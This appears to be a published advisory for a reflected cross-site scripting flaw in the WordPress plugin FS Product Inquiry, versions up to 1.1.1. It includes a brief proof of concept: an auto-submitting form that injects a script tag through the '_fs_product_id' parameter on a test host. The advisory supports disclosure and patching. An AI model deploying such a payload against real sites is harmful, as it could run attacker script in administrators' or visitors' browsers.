WordPress Plugin Vulnerabilities

FS Product Inquiry <= 1.1.1 - Reflected XSS

Description

The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin or unauthenticated users

Proof of Concept

Have any user (admin or unauthenticated) open an HTML page with the following:

```
<body onload="document.forms[0].submit()"><form action="http://wps-test.ddev.site/fspi-product-inquiry/" method="POST"><input type="text" name="_fs_product_id" value='"><script>alert(2)</script>'><input type="submit" value="submit"></form></body>
```

Affects Plugins

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
Bob Matyas
Submitter
Bob Matyas
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2024-05-14 (about 1 months ago)
Added
2024-05-14 (about 1 months ago)
Last Updated
2024-05-14 (about 1 months ago)

Other